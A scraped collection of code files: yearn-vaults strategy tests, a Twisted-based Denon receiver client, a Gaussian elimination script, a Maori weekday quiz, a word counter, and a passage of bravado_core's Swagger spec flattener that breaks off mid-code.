\"maxDebtPerHarvest\": 15, # This changed\n \"lastReport\": activation_timestamp,\n \"totalGain\": 0,\n \"totalLoss\": 0,\n \"totalDebt\": 0,\n }\n\n vault.updateStrategyPerformanceFee(strategy, 75, {\"from\": gov})\n assert vault.strategies(strategy).dict() == {\n \"performanceFee\": 75, # This changed\n \"activation\": activation_timestamp,\n \"debtRatio\": 500,\n \"minDebtPerHarvest\": 15,\n \"maxDebtPerHarvest\": 15,\n \"lastReport\": activation_timestamp,\n \"totalGain\": 0,\n \"totalLoss\": 0,\n \"totalDebt\": 0,\n }\n\n\ndef test_migrateStrategy(gov, vault, strategy, other_strategy, rando, TestStrategy):\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n\n # Not just anyone can migrate\n with brownie.reverts():\n vault.migrateStrategy(strategy, rando, {\"from\": rando})\n\n # Can't migrate to itself\n with brownie.reverts():\n vault.migrateStrategy(strategy, strategy, {\"from\": gov})\n\n # Can't migrate from an unactivated strategy\n with brownie.reverts():\n vault.migrateStrategy(other_strategy, strategy, {\"from\": gov})\n\n # Migrating not in the withdrawal queue (for coverage)\n vault.removeStrategyFromQueue(strategy, {\"from\": gov})\n new_strategy = gov.deploy(TestStrategy, vault)\n vault.migrateStrategy(strategy, new_strategy, {\"from\": gov})\n\n # Can't migrate back again\n with brownie.reverts():\n vault.migrateStrategy(new_strategy, strategy, {\"from\": gov})\n\n # Can't migrate an unapproved strategy\n with brownie.reverts():\n vault.migrateStrategy(new_strategy, strategy, {\"from\": gov})\n\n # Can't migrate to an already approved strategy\n approved_strategy = gov.deploy(TestStrategy, vault)\n vault.addStrategy(approved_strategy, 100, 10, 20, 1000, {\"from\": gov})\n with brownie.reverts():\n vault.migrateStrategy(strategy, approved_strategy, {\"from\": gov})\n\n\ndef test_revokeStrategy(chain, gov, vault, strategy, rando):\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n activation_timestamp = chain[-1][\"timestamp\"]\n\n # Not just anyone can revoke a strategy\n with brownie.reverts():\n vault.revokeStrategy(strategy, {\"from\": rando})\n\n vault.revokeStrategy(strategy, {\"from\": gov})\n # do not revoke twice\n with brownie.reverts():\n vault.revokeStrategy(strategy, {\"from\": gov})\n # do not revoke non-existing strategy\n with brownie.reverts():\n vault.revokeStrategy(ZERO_ADDRESS, {\"from\": gov})\n\n assert vault.strategies(strategy).dict() == {\n \"performanceFee\": 1000,\n \"activation\": activation_timestamp,\n \"debtRatio\": 0, # This changed\n \"minDebtPerHarvest\": 10,\n \"maxDebtPerHarvest\": 20,\n \"lastReport\": activation_timestamp,\n \"totalGain\": 0,\n \"totalLoss\": 0,\n \"totalDebt\": 0,\n }\n\n assert vault.withdrawalQueue(0) == strategy\n vault.removeStrategyFromQueue(strategy, {\"from\": gov})\n assert vault.withdrawalQueue(0) == ZERO_ADDRESS\n # Can only do it once\n with brownie.reverts():\n vault.removeStrategyFromQueue(strategy, {\"from\": gov})\n\n\ndef test_ordering(gov, vault, TestStrategy, rando):\n # Show that a lot of strategies get properly ordered\n strategies = [gov.deploy(TestStrategy, vault) for _ in range(19)]\n\n # Can't add un-approved strategies\n with brownie.reverts():\n vault.setWithdrawalQueue(\n strategies + [ZERO_ADDRESS] * (20 - len(strategies)),\n {\"from\": gov},\n )\n\n for s in strategies:\n vault.addStrategy(s, 100, 10, 20, 1000, {\"from\": gov})\n\n for idx, strategy in enumerate(strategies):\n assert vault.withdrawalQueue(idx) == strategy\n\n # Show that strategies can be reordered\n strategies = list(reversed(strategies))\n # NOTE: Not just anyone can do this\n with brownie.reverts():\n vault.setWithdrawalQueue(\n strategies + [ZERO_ADDRESS] * (20 - len(strategies)),\n {\"from\": rando},\n )\n vault.setWithdrawalQueue(\n strategies + [ZERO_ADDRESS] * (20 - len(strategies)),\n {\"from\": gov},\n )\n\n other_strat = gov.deploy(TestStrategy, vault)\n\n # Do not add a strategy\n with brownie.reverts():\n vault.setWithdrawalQueue(\n strategies + [other_strat] * (20 - len(strategies)),\n {\"from\": gov},\n )\n\n # Do not remove strategies\n with brownie.reverts():\n vault.setWithdrawalQueue(\n strategies[0:-2] + [ZERO_ADDRESS] * (20 - len(strategies[0:-2])),\n {\"from\": gov},\n )\n\n # Do not add new strategies\n other_strategy_list = strategies.copy()\n other_strategy_list[0] = other_strat\n with brownie.reverts():\n vault.setWithdrawalQueue(\n other_strategy_list + [ZERO_ADDRESS] * (20 - len(other_strategy_list)),\n {\"from\": gov},\n )\n\n # can't use the same strategy twice\n with brownie.reverts():\n vault.setWithdrawalQueue(\n [strategies[0], strategies[0]] + [ZERO_ADDRESS] * 18,\n {\"from\": rando},\n )\n\n for idx, strategy in enumerate(strategies):\n assert vault.withdrawalQueue(idx) == strategy\n\n # Show that adding a new one properly orders\n strategy = gov.deploy(TestStrategy, vault)\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n strategies.append(strategy)\n\n for idx, strategy in enumerate(strategies):\n assert vault.withdrawalQueue(idx) == strategy\n\n # NOTE: limited to only a certain amount of strategies\n with brownie.reverts():\n vault.addStrategy(\n gov.deploy(TestStrategy, vault), 100, 10, 20, 1000, {\"from\": gov}\n )\n\n # Show that removing from the middle properly orders\n removed_strategy = strategies.pop(1)\n # NOTE: Not just anyone can do this\n with brownie.reverts():\n vault.removeStrategyFromQueue(removed_strategy, {\"from\": rando})\n\n vault.removeStrategyFromQueue(removed_strategy, {\"from\": gov})\n\n for idx, strategy in enumerate(strategies):\n assert vault.withdrawalQueue(idx) == strategy\n\n assert vault.withdrawalQueue(len(strategies)) == ZERO_ADDRESS\n\n # Not just anyone can add it back\n with brownie.reverts():\n vault.addStrategyToQueue(removed_strategy, {\"from\": rando})\n\n # Can't add an unauthorized strategy\n with brownie.reverts():\n vault.addStrategyToQueue(rando, {\"from\": gov})\n\n # Can't add a strategy 0x0 to queue\n with brownie.reverts():\n vault.addStrategyToQueue(ZERO_ADDRESS, {\"from\": gov})\n\n vault.addStrategyToQueue(removed_strategy, {\"from\": gov})\n strategies.append(removed_strategy)\n\n for idx, strategy in enumerate(strategies):\n assert vault.withdrawalQueue(idx) == strategy\n\n # Can't add the same strategy twice\n with brownie.reverts():\n vault.addStrategyToQueue(removed_strategy, {\"from\": gov})\n\n\ndef test_addStategyToQueue(\n gov, management, vault, TestStrategy, strategy, other_strategy, rando\n):\n # Can't add an unactivated strategy to queue\n with brownie.reverts():\n vault.addStrategyToQueue(strategy, {\"from\": gov})\n\n # Initialize strategies (keep other_strategy in queue to test the queue)\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n vault.removeStrategyFromQueue(strategy, {\"from\": gov})\n vault.addStrategy(other_strategy, 100, 10, 20, 1000, {\"from\": gov})\n\n # Not just anyone can add a strategy to the queue\n with brownie.reverts():\n vault.addStrategyToQueue(strategy, {\"from\": rando})\n\n # Governance can add a strategy to the queue\n vault.addStrategyToQueue(strategy, {\"from\": gov})\n vault.removeStrategyFromQueue(strategy, {\"from\": gov})\n\n # Management can add a strategy to the queue\n vault.addStrategyToQueue(strategy, {\"from\": management})\n vault.removeStrategyFromQueue(strategy, {\"from\": management})\n\n # Can't add an existing strategy to the queue\n vault.addStrategyToQueue(strategy, {\"from\": gov})\n with brownie.reverts():\n vault.addStrategyToQueue(strategy, {\"from\": gov})\n vault.removeStrategyFromQueue(strategy, {\"from\": gov})\n vault.removeStrategyFromQueue(other_strategy, {\"from\": gov})\n\n # Can't add a strategy to an already full queue\n strategies = [gov.deploy(TestStrategy, vault) for _ in range(20)]\n for s in strategies:\n vault.addStrategy(s, 100, 10, 20, 1000, {\"from\": gov})\n with brownie.reverts():\n vault.addStrategyToQueue(strategy, {\"from\": gov})\n\n\ndef test_reporting(vault, token, strategy, gov, rando):\n # Not just anyone can call `Vault.report()`\n with brownie.reverts():\n vault.report(0, 0, 0, {\"from\": rando})\n\n strategy.tend({\"from\": gov}) # Do this for converage of `Strategy.tend()`\n\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n vault.expectedReturn(strategy) # Do this for coverage of `Vault._expectedReturn()`\n\n # Can't have more loss than strategy debt\n strategyTokenBalance = token.balanceOf(strategy)\n assert strategyTokenBalance == 0\n debt = vault.totalDebt()\n loss = 1000\n assert debt == 0\n assert loss >= debt\n with brownie.reverts():\n vault.report(0, loss, 0, {\"from\": strategy})\n\n\ndef test_reporting_gains_without_fee(chain, vault, token, strategy, gov, rando):\n vault.setManagementFee(0, {\"from\": gov})\n vault.setPerformanceFee(0, {\"from\": gov})\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n gain = 1000000\n assert token.balanceOf(strategy) == 0\n chain.sleep(1)\n\n # Can't lie about total available to withdraw\n with brownie.reverts():\n vault.report(gain, 0, 0, {\"from\": strategy})\n\n token.transfer(strategy, gain, {\"from\": gov})\n vault.report(gain, 0, 0, {\"from\": strategy})\n\n\ndef test_withdrawalQueue(chain, gov, management, vault, strategy, other_strategy):\n vault.addStrategy(strategy, 100, 10, 20, 1000, {\"from\": gov})\n vault.addStrategy(other_strategy, 100, 10, 20, 1000, {\"from\": gov})\n\n assert vault.withdrawalQueue(0) == strategy\n assert vault.withdrawalQueue(1) == other_strategy\n\n queue = [ZERO_ADDRESS] * 20\n queue[0] = other_strategy\n queue[1] = strategy\n\n vault.setWithdrawalQueue(queue, {\"from\": management})\n assert vault.withdrawalQueue(0) == other_strategy\n assert vault.withdrawalQueue(1) == strategy\n chain.undo()\n\n vault.setWithdrawalQueue(queue, {\"from\": gov})\n assert vault.withdrawalQueue(0) == other_strategy\n assert vault.withdrawalQueue(1) == strategy\n\n vault.removeStrategyFromQueue(other_strategy, {\"from\": management})\n assert vault.withdrawalQueue(0) == strategy\n assert vault.withdrawalQueue(1) == ZERO_ADDRESS\n chain.undo()\n\n vault.removeStrategyFromQueue(other_strategy, {\"from\": gov})\n assert vault.withdrawalQueue(0) == strategy\n assert vault.withdrawalQueue(1) == ZERO_ADDRESS\n\n vault.addStrategyToQueue(other_strategy, {\"from\": management})\n assert vault.withdrawalQueue(0) == strategy\n assert vault.withdrawalQueue(1) == other_strategy\n chain.undo()\n\n vault.addStrategyToQueue(other_strategy, {\"from\": gov})\n assert vault.withdrawalQueue(0) == strategy\n assert vault.withdrawalQueue(1) == other_strategy\n\n\ndef test_update_debtRatio_to_add_second_strategy(gov, vault, strategy, other_strategy):\n\n vault.addStrategy(strategy, 10_000, 0, 0, 0, {\"from\": gov})\n\n # Can't add a second strategy if first one is taking 100%\n with brownie.reverts():\n vault.addStrategy(other_strategy, 5_000, 0, 0, 0, {\"from\": gov})\n\n vault.updateStrategyDebtRatio(strategy, 5_000, {\"from\": gov})\n\n # Can't add the second strategy going over 100%\n with brownie.reverts():\n vault.addStrategy(other_strategy, 5_001, 0, 0, 0, {\"from\": gov})\n\n # But 50% should work\n vault.addStrategy(other_strategy, 5_000, 0, 0, 0, {\"from\": gov})\n","repo_name":"yearn/yearn-vaults","sub_path":"tests/functional/vault/test_strategies.py","file_name":"test_strategies.py","file_ext":"py","file_size_in_byte":19217,"program_lang":"python","lang":"en","doc_type":"code","stars":506,"dataset":"github-code","pt":"48"} +{"seq_id":"43262953744","text":"import logging\nfrom typing import TYPE_CHECKING\n\nimport twisted.internet.interfaces\nimport twisted.python.failure\nfrom twisted.internet import reactor, task\nfrom twisted.internet.protocol import ClientFactory\nfrom twisted.protocols.basic import LineOnlyReceiver\nfrom twisted.protocols.policies import TimeoutMixin\n\nfrom .dn500av import DN500AVFormat, DN500AVMessage\n\nif TYPE_CHECKING:\n from denonremote.gui import DenonRemoteApp\n\nlogger = logging.getLogger(__name__)\n\n\n# TODO: Implement Serial ?\n# See: https://twistedmatrix.com/documents/15.4.0/api/twisted.internet.serialport.SerialPort.html\n\n\nclass DenonProtocol(LineOnlyReceiver, TimeoutMixin):\n # From DN-500 manual (DN-500AVEM_ENG_CD-ROM_v00.pdf) page 91 (97 in PDF form)\n MAX_LENGTH: int = 135\n DELAY: float = .2\n \"\"\"\n Delay between messages in seconds.\n The documentation requires 200 ms.\n 20 ms seems safe.\n \"\"\"\n DEFAULT_TIMEOUT: float = .2\n \"\"\"\n Changing sources takes way more than 200ms.\n Let's bump this case to 5 seconds to prevent spurious disconnections.\n \"\"\"\n delimiter: bytes\n factory: 'DenonClientFactory'\n ongoing_calls: int\n timeOut: float\n transport: twisted.internet.interfaces.ITCPTransport\n\n def __init__(self):\n self.delimiter = b'\\r'\n self.ongoing_calls = 0 # Delay handling.\n\n def connectionMade(self) -> None:\n logger.debug(\"Connection made\")\n if self.factory.gui:\n self.factory.app.on_connection(self)\n\n def timeoutConnection(self) -> None:\n logger.debug(\"Connection timed out\")\n self.transport.abortConnection()\n if self.factory.gui:\n self.factory.app.on_timeout()\n\n def sendLine(self, line: bytes) -> task.Deferred | None:\n deferred = None\n line_len = len(line)\n if line_len > self.MAX_LENGTH:\n logger.warning(f'Line too long (>{self.MAX_LENGTH}): {line_len}')\n if b'?' not in line:\n logger.debug(f\"Sending line: {line.decode('ASCII')}\")\n super().sendLine(line)\n else:\n # A request is made. We need to delay the next calls\n self.ongoing_calls += 1\n logger.debug(f'Ongoing calls for delay: {self.ongoing_calls}')\n delay = 0 # Send now\n if self.ongoing_calls > 0:\n delay = self.DELAY * (self.ongoing_calls - 1) # Send after other messages\n logger.debug(f\"Will send line: {line} in {delay} seconds\")\n deferred = task.deferLater(\n reactor,\n delay=delay,\n callable=self.sendLineWithTimeout,\n line=line,\n )\n return deferred\n\n # noinspection PyPep8Naming\n def sendLineWithTimeout(self, line: bytes) -> None:\n timeout = self.DEFAULT_TIMEOUT\n if self.timeOut:\n timeout += self.timeOut\n self.setTimeout(timeout)\n logger.debug(f\"Sending line with timeout ({timeout} s): {line.decode('ASCII')}\")\n super().sendLine(line)\n\n def lineReceived(self, line: bytes) -> None:\n if self.ongoing_calls:\n # We received a reply\n self.resetTimeout()\n self.ongoing_calls -= 1\n logger.debug(f\"Ongoing calls for delay: {self.ongoing_calls}\")\n else:\n # Disable timeout, we don't expect any other command.\n self.setTimeout(None)\n logger.debug(f\"Receive remaining timeout: {self.timeOut}\")\n receiver = DN500AVMessage()\n receiver.parse_response(line)\n logger.info(f\"Received line: {receiver.response}\")\n\n # FIXME: parse message into state\n\n # FIXME: abstract away with a callback to the factory\n if self.factory.gui:\n self.factory.app.print_debug(receiver.response)\n\n # POWER\n if receiver.command_code == 'PW':\n state = True\n if receiver.parameter_code == 'STANDBY':\n state = False\n self.factory.app.update_power(state)\n\n # VOLUME\n if receiver.command_code == 'MV':\n if receiver.subcommand_code is None:\n self.factory.app.update_volume(receiver.parameter_label)\n elif receiver.subcommand_code == 'MAX':\n self.factory.app.update_max_volume(receiver.parameter_label)\n\n # MUTE\n if receiver.command_code == 'MU':\n state = False\n if receiver.parameter_code == 'ON':\n state = True\n self.factory.app.set_volume_mute(state)\n\n # SOURCE\n if receiver.command_code == 'SI':\n source = receiver.parameter_code\n self.factory.app.set_sources(source)\n\n def get_power(self) -> None:\n self.sendLine('PW?'.encode('ASCII'))\n\n def set_power(self, state: bool) -> None:\n logger.debug(\"Entering power callback\")\n if state:\n self.sendLine('PWON'.encode('ASCII'))\n else:\n self.sendLine('PWSTANDBY'.encode('ASCII'))\n\n def get_volume(self) -> None:\n self.sendLine('MV?'.encode('ASCII'))\n\n def set_volume(self, value: str) -> None:\n raw_value = DN500AVFormat().mv_reverse_params.get(value)\n if raw_value is None:\n logger.warning(f\"Set volume value {value} is invalid.\")\n else:\n message = 'MV' + raw_value\n self.sendLine(message.encode('ASCII'))\n\n def get_mute(self) -> None:\n self.sendLine('MU?'.encode('ASCII'))\n\n def set_mute(self, state: bool) -> None:\n if state:\n self.sendLine('MUON'.encode('ASCII'))\n else:\n self.sendLine('MUOFF'.encode('ASCII'))\n\n def get_source(self) -> None:\n self.sendLine('SI?'.encode('ASCII'))\n\n def set_source(self, source: str) -> None:\n message = 'SI' + source\n self.sendLine(message.encode('ASCII'))\n\n\nclass DenonClientFactory(ClientFactory):\n gui: bool\n protocol = DenonProtocol\n\n def __init__(self) -> None:\n self.gui = False\n\n\nclass DenonClientGUIFactory(ClientFactory):\n app: 'DenonRemoteApp' # TODO: Extract interface\n protocol = DenonProtocol\n\n def __init__(self, app) -> None:\n self.gui = True\n self.app = app\n import kivy.logger\n global logger\n logger = kivy.logger.Logger\n\n def clientConnectionFailed(\n self, connector: twisted.internet.interfaces.IConnector,\n reason: twisted.python.failure.Failure\n ) -> None:\n self.app.on_connection_failed(connector, reason)\n\n def clientConnectionLost(\n self, connector: twisted.internet.interfaces.IConnector,\n reason: twisted.python.failure.Failure\n ) -> None:\n self.app.on_connection_lost(connector, reason)\n","repo_name":"EMATech/DenonRemote","sub_path":"src/denonremote/denon/communication.py","file_name":"communication.py","file_ext":"py","file_size_in_byte":6830,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"34683497329","text":"def bubble_max_row(matrix, row):\n \"\"\"Replace m[row] row with the one of the underlying rows with the modulo greatest first element.\n :param m: matrix (list of lists)\n :param col: index of the column/row from which underlying search will be launched\n :return: None. Function changes the matrix structure.\n \"\"\"\n max_element = matrix[row][row]\n max_row = row\n for i in range(row + 1, len(matrix)):\n if abs(matrix[i][row]) > abs(max_element):\n max_element = matrix[i][row]\n max_row = i\n if max_row != row:\n matrix[row], matrix[max_row] = matrix[max_row], matrix[row]\n\ndef solve_gauss(matrix):\n \"\"\"Solve linear equations system with gaussian method.\n :param m: matrix (list of lists)\n :return: None\n \"\"\"\n n = len(matrix)\n # forward trace\n for k in range(n - 1):\n bubble_max_row(matrix, k)\n for i in range(k + 1, n):\n div = matrix[i][k] / matrix[k][k]\n matrix[i][-1] -= div * matrix[k][-1]\n for j in range(k, n):\n matrix[i][j] -= div * matrix[k][j]\n\n # check modified system for nonsingularity\n if is_singular(matrix):\n print('The system has infinite number of answers...')\n return\n\n # backward trace\n x = [0 for i in range(n)]\n for k in range(n - 1, -1, -1):\n x[k] = (matrix[k][-1] - sum([matrix[k][j] * x[j] for j in range(k + 1, n)])) / matrix[k][k]\n\n # Display results\n for i in range(len(x)):\n a = str(toFixed(x[i],4))\n print(\"x{} = {}\".format(i+1,a))\n\ndef is_singular(matrix):\n \"\"\"Check matrix for nonsingularity.\n :param m: matrix (list of lists)\n :return: True if system is nonsingular\n \"\"\"\n for i in range(len(matrix)):\n if not matrix[i][i]:\n return True\n return False\n\ndef toFixed(numObj, digits=0):\n return f\"{numObj:.{digits}f}\"\n\nc = [[0.2,0,0.2,0,0],\n [0,0.2,0,0.2,0],\n [0.2,0,0.2,0,0.2],\n [0,0.2,0,0.2,0],\n [0,0,0.2,0,0.2]\n ]\n\nd = [[2.33,0.81,0.67,0.92,-0.53],\n [-0.53,2.33,0.81,0.67,0.92],\n [0.92,-0.53,2.33,0.81,0.67],\n [0.67,0.92,-0.53,2.33,0.81],\n [0.81,0.67,0.92,-0.53,2.33]\n ]\n\nb = [4.2,4.2,4.2,4.2,4.2]\n\nvariant = 15.0\n\nfor i in range(len(c)):\n for j in range(len(c[i])):\n c[i][j] = variant * c[i][j] + d[i][j]\n\nfor i in range(len(c)):\n for j in range(len(c[i])):\n if j == (len(c[i])-1):\n c[i].append(b[i])\n\nfor i in range(len(c)):\n for j in range(len(c[i])):\n if j == len(c[i])-2:\n print(\"{} X{} = {} \".format(c[i][j],j+1,c[i][j+1]),end=\"\")\n break\n print(\"{} X{} * \".format(c[i][j],j+1),end=\"\")\n print(\"\")\n\nsolve_gauss(c)\n","repo_name":"Daniil609/Python_labs","sub_path":"lr1/print.py","file_name":"print.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6897882086","text":"# Import random\nimport random\n\n\n# Fluency checker\n# Functions\ndef yes_no(question_text):\n while True:\n\n # Ask user if they can speak Maori days of the week\n yes_no_answer = input(question_text).lower()\n\n # If yes print \"This program is useless to you\"\n if yes_no_answer == \"N\" or yes_no_answer == \"n\":\n yes_no_answer = \"No\"\n return yes_no_answer\n\n # If no print \"This program will help you learn Maori\n if yes_no_answer == \"Y\" or yes_no_answer == \"y\":\n yes_no_answer = \"Yes\"\n return yes_no_answer\n\n # Otherwise - ask user to answer with Y or N\n else:\n print(\"Answer with Y or N\\n\"\n \" \")\n\n\n# Input on user fluency\nFluency_Checker = yes_no(\"Do you know the Maori names for days of the week?\\n\"\n \" \")\nif Fluency_Checker == \"No\":\n print(\"This program will help you learn the Maori days of the week\\n\"\n \" \")\n\nif Fluency_Checker == \"Yes\":\n print(\"This program wouldn't help you\\n\"\n \" \")\n\n# Days of the week\n# give variables values\ncorrect_answers = 0\npossible_questions = 0\nprint(\"This is a test of your knowledge on the Maori words for the days of the week\\n\"\n \" \")\n\n# List days in English\nEnglish_days = [\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\", \"Sunday\"]\n\n# List days in Maori\nMaori_days = [\"rahina\", \"ratu\", \"raapa\", \"rapare\", \"ramere\", \"rahoroi\", \"ratapu\"]\n\n# How many questions there should be\nno_of_questions = int(input(\"How many questions do you want? \\n\"\n \"\"))\nwhile possible_questions < no_of_questions:\n\n # User input on question\n question = random.choice(English_days)\n attempt = input(f\"What is the Maori name for {question}:\\n\"\n f\" \")\n possible_questions += 1\n\n # Use English_days as question variable and Maori_days as answer\n Answer_index = English_days.index(question)\n answer = Maori_days[Answer_index]\n\n # Calculate user score\n # Check if user answer correctly\n if attempt == answer:\n correct_answers += 1\n print(\"CORRECT\")\n else:\n print(f\"INCORRECT \\n\"\n f\"THE CORRECT ANSWER IS {answer}\")\n\n # score user\n print(f\"Your score is {correct_answers} out of {possible_questions}\")\n","repo_name":"Aidan7474/T2_Assesment","sub_path":"Final_project.py","file_name":"Final_project.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7479928076","text":"import string \n\ndef countFreqs(text):\n exclude = set(string.punctuation)\n exclude.add('\\n')\n exclude.add('\\r')\n text = ''.join(ch if ch not in exclude else \" \" for ch in text)\n counts = {}\n words = text.split()\n for w in words:\n counts.setdefault(w, 0)\n counts[w] += 1\n return counts\n\n\n","repo_name":"giovannipbonin/thinkComplexity","sub_path":"countWords.py","file_name":"countWords.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2911745931","text":"# -*- coding: utf-8 -*-\nimport copy\nimport functools\nimport os.path\nimport re\nimport warnings\nfrom collections import defaultdict\n\nfrom six import iteritems\nfrom six import iterkeys\nfrom six import itervalues\nfrom six.moves.urllib.parse import ParseResult\nfrom six.moves.urllib.parse import urldefrag\nfrom six.moves.urllib.parse import urlparse\nfrom six.moves.urllib.parse import urlunparse\nfrom six.moves.urllib.request import pathname2url\nfrom six.moves.urllib.request import url2pathname\nfrom swagger_spec_validator.ref_validators import in_scope\n\nfrom bravado_core.model import model_discovery\nfrom bravado_core.model import MODEL_MARKER\nfrom bravado_core.schema import is_dict_like\nfrom bravado_core.schema import is_list_like\nfrom bravado_core.schema import is_ref\nfrom bravado_core.util import cached_property\nfrom bravado_core.util import determine_object_type\nfrom bravado_core.util import ObjectType\n\n\nMARSHAL_REPLACEMENT_PATTERNS = {\n '/': '..', # / is converted to .. (ie. api_docs/swagger.json -> api_docs..swagger.json)\n '#': '|', # # is converted to | (ie. swagger.json#definitions -> swagger.json|definitions)\n}\n\n\ndef _marshal_uri(target_uri, origin_uri):\n \"\"\"\n Translate the URL string representation into a new string which could be used as JSON keys.\n This method is needed because many JSON parsers and reference resolvers are using '/' as\n indicator of object nesting.\n\n To workaround this limitation we can re-write the url representation in a way that the parsers\n will accept it, for example \"#/definitions/data_type\" could become \"|..definitions..data_type\"\n\n Example: Assume that you have the following JSON document\n {\n \"definitions\": {\n \"a/possible/def\": {\n \"type\": \"object\"\n },\n \"a\": {\n \"possible\": {\n \"def\": {\n \"type\": \"string\"\n }\n }\n },\n \"def\": {\n \"$ref\": \"#/definitions/a/possible/def\"\n }\n }\n }\n\n Assuming that the JSON parser is not raising exception the dereferenced value of\n \"#/definitions/def\" could be {\"type\": \"object\"} or {\"type\": \"string\"} which is\n an undetermined condition which can lead to weird errors.\n Let's assume instead that the JSON parser will raise an exception in this case\n the JSON object will not be usable.\n\n To prevent this conditions we are removing possible '/' from the JSON keys.\n\n :param target_uri: URI to marshal\n :type target_uri: ParseResult\n :param origin_uri: URI of the root swagger spec file\n :type origin_uri: ParseResult\n\n :return: a string representation of the URL which could be used into the JSON keys\n :rtype: str\n \"\"\"\n\n marshalled_target = urlunparse(target_uri)\n\n if marshalled_target and target_uri.scheme == '': # scheme is empty for relative paths. It should NOT happen!\n target_uri = ParseResult('file', *target_uri[1:])\n marshalled_target = urlunparse(target_uri)\n\n if not marshalled_target or target_uri.scheme not in {'file', 'http', 'https'}:\n raise ValueError(\n 'Invalid target: \\'{target_uri}\\''.format(target_uri=urlunparse(target_uri)),\n )\n\n if origin_uri and target_uri.scheme == 'file':\n scheme, netloc, path, params, query, fragment = target_uri\n\n # Masquerade the absolute file path on the \"local\" server using\n # relative paths from the root swagger spec file\n spec_dir = os.path.dirname(url2pathname(origin_uri.path))\n scheme = 'lfile'\n path = pathname2url(os.path.relpath(url2pathname(path), spec_dir))\n marshalled_target = urlunparse((scheme, netloc, path, params, query, fragment))\n\n for src, dst in iteritems(MARSHAL_REPLACEMENT_PATTERNS):\n marshalled_target = marshalled_target.replace(src, dst)\n return marshalled_target\n\n\nclass _SpecFlattener(object):\n def __init__(self, swagger_spec, marshal_uri_function):\n self.swagger_spec = swagger_spec\n self.spec_url = self.swagger_spec.origin_url\n\n if self.spec_url is None:\n warnings.warn(\n message='It is recommended to set origin_url to your spec before flattering it. '\n 'Doing so internal paths will be hidden, reducing the amount of exposed information.',\n category=Warning,\n )\n\n self.known_mappings = {\n object_type.get_root_holder(): {}\n for object_type in ObjectType\n if object_type.get_root_holder()\n }\n self.marshal_uri_function = marshal_uri_function\n\n @cached_property\n def marshal_uri(self):\n return functools.partial(\n self.marshal_uri_function,\n origin_uri=urlparse(self.spec_url) if self.spec_url else None,\n )\n\n @cached_property\n def spec_resolver(self):\n return self.swagger_spec.resolver\n\n @cached_property\n def resolve(self):\n return self.swagger_spec.resolver.resolve\n\n @cached_property\n def default_type_to_object(self):\n return self.swagger_spec.config['default_type_to_object']\n\n def descend(self, value):\n if is_ref(value):\n # Update spec_resolver scope to be able to dereference relative specs from a not root file\n with in_scope(self.spec_resolver, value):\n uri, deref_value = self.resolve(value['$ref'])\n object_type = determine_object_type(\n object_dict=deref_value,\n default_type_to_object=self.default_type_to_object,\n )\n\n known_mapping_key = object_type.get_root_holder()\n if known_mapping_key is None:\n return self.descend(value=deref_value)\n else:\n uri = urlparse(uri)\n if uri not in self.known_mappings.get(known_mapping_key, {}):\n # The placeholder is present to interrupt the recursion\n # during the recursive traverse of the data model (``descend``)\n self.known_mappings[known_mapping_key][uri] = None\n\n self.known_mappings[known_mapping_key][uri] = self.descend(value=deref_value)\n\n return {'$ref': '#/{}/{}'.format(known_mapping_key, self.marshal_uri(uri))}\n\n elif is_dict_like(value):\n return {\n key: self.descend(value=subval)\n for key, subval in iteritems(value)\n }\n\n elif is_list_like(value):\n return [\n self.descend(value=subval)\n for index, subval in enumerate(value)\n ]\n\n else:\n return value\n\n def warn_if_uri_clash_on_same_marshaled_representation(self, uri_schema_mappings):\n \"\"\"\n Verifies that all the uris present on the definitions are represented by a different marshaled uri.\n If is not the case a warning will filed.\n\n In case of presence of warning please keep us informed about the issue, in the meantime you can\n workaround this calling directly ``flattened_spec(spec, marshal_uri_function)`` passing your\n marshalling function.\n \"\"\"\n # Check that URIs are NOT clashing to same marshaled representation\n marshaled_uri_mapping = defaultdict(set)\n for uri in iterkeys(uri_schema_mappings):\n marshaled_uri_mapping[self.marshal_uri(uri)].add(uri)\n\n if len(marshaled_uri_mapping) != len(uri_schema_mappings):\n # At least two uris clashed to the same marshaled representation\n for marshaled_uri, uris in iteritems(marshaled_uri_mapping):\n if len(uris) > 1:\n warnings.warn(\n message='{s_uris} clashed to {marshaled}'.format(\n s_uris=', '.join(sorted(urlunparse(uri) for uri in uris)),\n marshaled=marshaled_uri,\n ),\n category=Warning,\n )\n\n def rename_definition_references(self, flattened_spec_dict):\n \"\"\"\n Rename definition references to more \"human\" names if possible.\n\n The used approach is to use model-name as definition key, if this does not conflict\n with an already existing key.\n\n :param flattened_spec_dict: swagger spec dict (pre-flattened)\n :return: swagger spec dict equivalent to flattened_spec_dict with more human references\n :rtype: dict\n \"\"\"\n def _rename_references_descend(value):\n if is_ref(value):\n return {\n '$ref': reference_renaming_mapping.get(value['$ref'], value['$ref']),\n }\n elif is_dict_like(value):\n return {\n key: _rename_references_descend(value=subval)\n for key, subval in iteritems(value)\n }\n\n elif is_list_like(value):\n return [\n _rename_references_descend(value=subval)\n for index, subval in enumerate(value)\n ]\n\n else:\n return value\n\n definition_key_to_model_name_mapping = {\n k: v[MODEL_MARKER]\n for k, v in iteritems(flattened_spec_dict.get('definitions', {}))\n if is_dict_like(v) and MODEL_MARKER in v\n }\n\n original_definition_keys = set(iterkeys(flattened_spec_dict.get('definitions', {})))\n new_definition_keys = set(itervalues(definition_key_to_model_name_mapping))\n\n # Ensure that the new definition keys are not overlapping with already existing ones\n # if this happens the new definition key needs be kept untouched\n reference_renaming_mapping = {\n # old-reference -> new-reference\n 